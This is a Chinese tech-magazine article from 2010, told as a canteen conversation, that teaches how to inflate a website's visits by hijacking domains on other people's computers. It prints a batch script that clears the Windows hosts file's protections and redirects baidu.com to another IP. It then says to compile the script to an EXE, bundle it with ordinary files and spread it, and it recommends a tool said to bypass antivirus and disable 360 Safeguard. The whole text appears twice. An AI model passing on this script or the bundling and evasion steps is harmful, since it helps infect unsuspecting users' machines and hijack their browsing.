巧用“域名劫持”刷访问量
- 来源:计算机应用文摘
- 关键字:
- 发布时间:2010-02-25 15:30
今天中午到食堂吃饭的时候，财务部的王凯同学把我叫住了。原来，他的女朋友最近做了一个个人网站，但访问的人数十分有限，所以他女朋友就叫他想办法多拉一些人来访问……。我听了心里想：这小子说话还这么拐弯抹角的，直接问有没有办法刷访问量不就完了。
注：本文仅为技术研究，文中相关软件有技术研究兴趣的读者可在网上搜索下载。
方法一：修改Hosts文件，实现“域名劫持”
于是，我望着食堂出菜的窗口自言自语地说：“今天中午吃点什么好呢？鱼香肉丝和麻婆豆腐就很不错！ ”王凯同学一听，马上明白：“大哥你就好好地坐在这，我马上去把饭菜给你打回来。 ”这小子一溜烟跑走，而我也正好趁机想想该如何操作。毕竟老话说得好，吃人家的嘴软，拿人家的手短。
很快王凯就把饭菜打回来了，还没有等我开口，他就说道：“大哥，其实这个问题我自己也想过，比如现在流行的修改浏览器首页的方法就很不错，可以让很多人一运行浏览器就打开我女朋友的网站。 ”我听后，告诫他道：“你这样做，方法虽好，但有时会让别人反感。并且这种方法还有一个缺陷，那就是它对 IE浏览器及其外壳浏览器有效，但对于诸如火狐浏览器、谷歌浏览器这些就没啥效果了。 ”王凯听后，尴尬地挠挠头：“这些问题我倒是没有想到，那你有没有什么比较好的方法啊？ ”我边吃饭边说：“可以使用‘域名劫持’。这样当别人访问常见网站的时候，浏览器就会自动跳转到你女朋友的网站上。这下你小子就等着‘没事偷着乐’吧！”
我告诉他，通常情况下的“域名劫持”，都是通过修改 DNS服务器中的注册信息来实现的，比如最近的“百度被黑事件”……。听完我的讲述后，王凯说道：“大哥你就不要拿我开玩笑了，对于我这样的菜鸟来说，搞这个无异于异想天开。有没有一种适用于菜鸟的方法啊？”我接着告诉他，还可以通过修改别人 Windows系统中的Hosts文件来实现。稍微对 Windows系统有所了解的用户，都知道 Hosts文件是根据 TCP/IP协议的标准来工作的，它包含了 IP地址和网站域名之间的映射关系。而且Hosts的请求级别比 DNS服务器高，这就为我们刷网站的访问量提供了非常好的条件。
在边吃边聊中，我和王凯终于确定了修改 Hosts文件的方案。回到办公室以后，我坐在自己的电脑面前，运行了《批处理程序开发工具》这款软件。先将下面的这段代码复制到窗口里面，然后点击“运行”菜单中的 “BAT转换 EXE”命令。
@echo off
attrib -s -r -h C：WINDOWSsystem32driversetchosts
echo 0.0.0.1 www.baidu.com>>C：WINDOWSsystem32driversetchosts
echo 0.0.0.1 baidu.com>>C：WINDOWSsystem32driversetchosts
attrib +s +r C：WINDOWSsystem32driversetchosts
pause>nul
exit
这时王凯好奇地问我：“大哥，这段批处理代码是什么意思啊？ ”我回道：“你是问这段代码的功能吧？它首先是将 Hosts这个文件的系统属性、文件属性和只读属性都给清除掉。接着将要‘劫持’的网站域名和对应的 IP地址写入文件内容中。你看，我是以‘劫持’百度搜索引擎的域名为例，你可以自己修改成其他网站的域名。需要注意的是，你女朋友的网站 IP地址要放在每段规则的最前面，空格后再写上‘劫持’的网站域名，我这里是用 0.0.0.1代替你女朋友的网站 IP地址……。最后，把生成的 EXE文件和其他正常的文件捆绑，再传播出去即可。当别人运行了捆绑文件以后，一访问百度，浏览器就会自动打开你女朋友的网站。 ”
方法二：使用专业工具，实现“域名劫持 ”
本来我以为这样就算完成任务了，可是下午王凯又悄悄溜过来了。只见他对我说道：“中午你教我的那个方法，我已经在自己的电脑里面测试成功了！可是我发现一个问题，那就是通过 SREng等安全工具，别人很容易发现被篡改的 Hosts文件信息。而且通过“高级修复”标签页中的命令，可以马上把 Hosts文件修复到系统默认状态。你还有没有其他的高招？统统告诉我吧！ ”他这么一说，我还真的想到了一款名为《浪花 DNS域名劫持插件》的小软件。
我马上运行这款小软件进行演示。先在操作界面的“劫持域名”项中输入准备“劫持”的网站域名，然后在下面的“劫持到 IP”项中输入 0.0.0.1（代替他女朋友的网站 IP地址）。点击“确认 ”按钮后，即可生成一个 EXE文件。
我向王凯讲道：“同样把这个 EXE文件和其他正常文件捆绑，然后传播出去。当它在别人的系统中运行后，不但可以突破杀毒软件的主动防御，还可以同时屏蔽《 360安全卫士》等安全防范软件。只要它“域名劫持”成功，网站的访问量自然就上去了。 ”
看完我的演示之后，王凯赞道：“不错！今天我可是学到了不少东西，看来中午那顿饭真没让你白吃啊！”……我倒，这小子把我看成什么人了，顿时我的心哇凉哇凉的啊！
……
注：本文仅为技术研究，文中相关软件有技术研究兴趣的读者可在网上搜索下载。
方法一：修改Hosts文件，实现“域名劫持”
于是，我望着食堂出菜的窗口自言自语地说：“今天中午吃点什么好呢？鱼香肉丝和麻婆豆腐就很不错！ ”王凯同学一听，马上明白：“大哥你就好好地坐在这，我马上去把饭菜给你打回来。 ”这小子一溜烟跑走，而我也正好趁机想想该如何操作。毕竟老话说得好，吃人家的嘴软，拿人家的手短。
很快王凯就把饭菜打回来了，还没有等我开口，他就说道：“大哥，其实这个问题我自己也想过，比如现在流行的修改浏览器首页的方法就很不错，可以让很多人一运行浏览器就打开我女朋友的网站。 ”我听后，告诫他道：“你这样做，方法虽好，但有时会让别人反感。并且这种方法还有一个缺陷，那就是它对 IE浏览器及其外壳浏览器有效，但对于诸如火狐浏览器、谷歌浏览器这些就没啥效果了。 ”王凯听后，尴尬地挠挠头：“这些问题我倒是没有想到，那你有没有什么比较好的方法啊？ ”我边吃饭边说：“可以使用‘域名劫持’。这样当别人访问常见网站的时候，浏览器就会自动跳转到你女朋友的网站上。这下你小子就等着‘没事偷着乐’吧！”
我告诉他，通常情况下的“域名劫持”，都是通过修改 DNS服务器中的注册信息来实现的，比如最近的“百度被黑事件”……。听完我的讲述后，王凯说道：“大哥你就不要拿我开玩笑了，对于我这样的菜鸟来说，搞这个无异于异想天开。有没有一种适用于菜鸟的方法啊？”我接着告诉他，还可以通过修改别人 Windows系统中的Hosts文件来实现。稍微对 Windows系统有所了解的用户，都知道 Hosts文件是根据 TCP/IP协议的标准来工作的，它包含了 IP地址和网站域名之间的映射关系。而且Hosts的请求级别比 DNS服务器高，这就为我们刷网站的访问量提供了非常好的条件。
在边吃边聊中，我和王凯终于确定了修改 Hosts文件的方案。回到办公室以后，我坐在自己的电脑面前，运行了《批处理程序开发工具》这款软件。先将下面的这段代码复制到窗口里面，然后点击“运行”菜单中的 “BAT转换 EXE”命令。
@echo off
attrib -s -r -h C：WINDOWSsystem32driversetchosts
echo 0.0.0.1 www.baidu.com>>C：WINDOWSsystem32driversetchosts
echo 0.0.0.1 baidu.com>>C：WINDOWSsystem32driversetchosts
attrib +s +r C：WINDOWSsystem32driversetchosts
pause>nul
exit
这时王凯好奇地问我：“大哥，这段批处理代码是什么意思啊？ ”我回道：“你是问这段代码的功能吧？它首先是将 Hosts这个文件的系统属性、文件属性和只读属性都给清除掉。接着将要‘劫持’的网站域名和对应的 IP地址写入文件内容中。你看，我是以‘劫持’百度搜索引擎的域名为例，你可以自己修改成其他网站的域名。需要注意的是，你女朋友的网站 IP地址要放在每段规则的最前面，空格后再写上‘劫持’的网站域名，我这里是用 0.0.0.1代替你女朋友的网站 IP地址……。最后，把生成的 EXE文件和其他正常的文件捆绑，再传播出去即可。当别人运行了捆绑文件以后，一访问百度，浏览器就会自动打开你女朋友的网站。 ”
方法二：使用专业工具，实现“域名劫持 ”
本来我以为这样就算完成任务了，可是下午王凯又悄悄溜过来了。只见他对我说道：“中午你教我的那个方法，我已经在自己的电脑里面测试成功了！可是我发现一个问题，那就是通过 SREng等安全工具，别人很容易发现被篡改的 Hosts文件信息。而且通过“高级修复”标签页中的命令，可以马上把 Hosts文件修复到系统默认状态。你还有没有其他的高招？统统告诉我吧！ ”他这么一说，我还真的想到了一款名为《浪花 DNS域名劫持插件》的小软件。
我马上运行这款小软件进行演示。先在操作界面的“劫持域名”项中输入准备“劫持”的网站域名，然后在下面的“劫持到 IP”项中输入 0.0.0.1（代替他女朋友的网站 IP地址）。点击“确认 ”按钮后，即可生成一个 EXE文件。
我向王凯讲道：“同样把这个 EXE文件和其他正常文件捆绑，然后传播出去。当它在别人的系统中运行后，不但可以突破杀毒软件的主动防御，还可以同时屏蔽《 360安全卫士》等安全防范软件。只要它“域名劫持”成功，网站的访问量自然就上去了。 ”
看完我的演示之后，王凯赞道：“不错！今天我可是学到了不少东西，看来中午那顿饭真没让你白吃啊！”……我倒，这小子把我看成什么人了，顿时我的心哇凉哇凉的啊！
关注读览天下微信，
100万篇深度好文，
等你来看……